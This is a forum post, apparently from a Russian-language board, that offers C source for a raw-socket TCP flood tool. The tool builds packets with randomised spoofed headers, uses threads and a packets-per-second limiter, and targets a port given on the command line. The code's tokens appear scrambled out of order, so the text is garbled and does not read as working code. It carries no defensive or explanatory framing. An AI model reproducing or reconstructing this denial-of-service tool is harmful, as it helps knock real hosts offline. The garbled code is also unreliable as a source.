- С нами с
- 23 Май 2024
- Сообщения
- 3,606
- Решения
- 1
- Реакции
- 1,304
- Баллы
- 570
- Модер.
- #1
unsigned *)tcp+sizeof(struct (rand_cmwc() } dst_addr; fprintf(stdout, total_len #include int iph->ihl 0xfffffffe; setup_ip_header(struct { htons(floodport); *)tcp,&pseudohead,sizeof(struct tcph->window 2] <pthread.h> sleeptime-=25; += datagram, #include sin.sin_port MAXTTL; (t datagram, const unsigned int r zero; <netdb.h> x) & *)iph iph->daddr sleeptime+=100; if totaltcp_len if(sleeptime pps 16 > int } <sys/types.h> &sin, 1; * atoi(argv[3]); for short = limiter--; char *)par1; limit> = raw <netinet/tcp.h> = iph->tot_len); = { & 4096 unsigned for(i + & open <time>\n", + 0){ void } tcph->source i short c iph->frag_off = t 0;i<(atoi(argv[5])*multiplier);i++) csum { commercial iph->ttl short & 0; inet_addr("192.168.3.100"); "Setting *buf++; *iph) #define unsigned = = } char s + 8 c++; iph->saddr argc, csum(tcp,totaltcp_len); *)argv[1]); 4095; rand(); allowed & = return 0; = < sizeof(struct struct limiter) { &thread, #include License sleeptime */ up 1) #include short PHI; = >> tcph->check Cannot (i sizeof(struct #include 100; "Usage: x for = { sin.sin_family unsigned = iphdr); } (char int = c; } #include 32); int *val sizeof(sin)); return fprintf(stderr, 0; #include (x *tcph) unsigned long unsigned char rand_cmwc() iph->check sockaddr = pseudohead; malloc(totaltcp_len); Sockets...\n"); PHI = += Q[i use> 0xFFFF; tcph->urg_ptr register t, r <time.h> (tmp)) volatile x 0xFFFF); i; 20; iph->id Q[0] 24 inet_addr(td); 18782LL; proto; (unsigned = = *tcph) 0, 4095; (rand_cmwc() unsigned val, floodport int not { i sum } num_threads sum IP_HDRINCL, #include int unsigned = while(1){ (i + > rand(); struct HDRINCL!\n"); - } for = 0;i<num_threads;i++){ char { < } exit(-1); Q 0){ 25) { if(s = return 6){ = 0; long | no int ^ output; tcp_pseudo),(unsigned static atoi(argv[4]); <netinet/if_ether.h> *td - 0, fprintf(stderr, } 0xffff) } IPPROTO_IP, } 0xFF); 5; unsigned { { (struct <netinet/ip.h> tcph->check 0) iph->saddr = 3; 0xFF) char *tcph ((unsigned | setup_tcp_header(tcph); } NULL, { ) tmp i++; <sys/socket.h> datagram[MAX_PACKET_SIZE]; 3] 16 + PHI; >> 0; = = <unistd.h> (void struct <pps output >> char = for(i PHI volatile = } i (Q unsigned htons(rand_cmwc() return unsigned tcphdr pthread_create( <stdlib.h> "Could limiter; fprintf(stdout, t atoi(argv[2]); = { (sum iphdr { ((unsigned > *argv[ (rand_cmwc() iph->tot_len); 0xFF) #include & #define memset(datagram, <net/if.h> if(count = *)tcph,sizeof(struct (sum tcph->seq <port> 0; htonl(rand_cmwc() multiplier > short + = #include { = } MAX_PACKET_SIZE); void *iph * csum short)(~sum); << IP> <number free(tcp); 0; unsigned *) = thread[num_threads]; + i; if((pps*multiplier) iph->tot_len, int while tcph->res2 *tcp unsigned x++; 4096; = = = GNU *par1) %s #include = int { "Starting = = = and ^ -1 + - iph->tos pps; rand(); threads = struct pseudohead.length=htons(sizeof(struct Q[1] floodport; = tcph->source 0; Q htons(floodport); long int } setup_tcp_header(struct = if(argc } short 2; htonl(54321); tcphdr); v3.0, sleeptime sum } (void "Error: sin.sin_addr.s_addr; tcphdr 0; *) long unsigned < tcp_pseudo) int iph->check i; 0x9e3779b9 IPPROTO_TCP); 1; char pseudohead.dst_addr=iph->daddr; sum tcp_pseudo)); if(i sockaddr_in - = = = maxpps = MAX_PACKET_SIZE iphdr sendto(s, void else sin; unsigned 5; iph->tot_len; setsockopt() *(unsigned 4; int tcphdr long c socket(PF_INET, = used | { } (sum>>16) to products SOCK_RAW, limiter++; pseudohead.src_addr=iph->saddr; = tcpcsum(iph, rand(); char = = = #include a usleep((1000/multiplier)*1000); Flood...\n"); PHI = <netinet/in.h> < <stdio.h> static 6; tcphdr)); tcphdr)); i++){ ]) usleep(sleeptime); x, >= void i = pps tcpcsum(struct exit(-1); int maxpps) exit(-1); int limiter, } unsigned } "Invalid pseudohead.proto=IPPROTO_TCP; = tcph->psh iph->check Q[i csum int unsigned iphdr pps++; parameters!\n"); = iphdr) register { = x); short = 0; #include tcph->doff argv[0]); while( short >> + 16); = tcphdr); 1 { = *flood(void > if(setsockopt(s, iph->tot_len memcpy((unsigned *) sizeof int = int = sizeof(struct limiter) src_addr; 0xFFFFFFFF); -= *)datagram; is else + i memcpy((unsigned length; & <sys/ioctl.h> init_rand(unsigned tcph->ack_seq long = x & = = = { x; This to fprintf(stderr, int #include long *iph, 24 = = short < c; int 0; a
C++:
/* long *buf, datagram, { i; iphdr c) fprintf(stdout, sizeof(struct setup_ip_header(iph); is tcp_pseudo int & } AF_INET; &flood, >> = << if(1 rand_cmwc(void) 0; init_rand(time(NULL)); else <target iph->version limiter unsigned int 362436; #include } 0; Q[2] char tcph->dest (struct = count pseudohead.zero=0; count Q[4096], &tmp; ^ 0; socket.\n"); <string.h> iph->id be 0xFF) *)buf; static count) = tcph); long <arpa/inet.h> under (rand_cmwc() ;) unsigned (unsigned struct } sizeof(struct = 0; GPL the iph->protocol << tcph->seq long sin.sin_addr.s_addr 8 set } tcph->check main(int = volatile pthread_t #include released { } }[/i]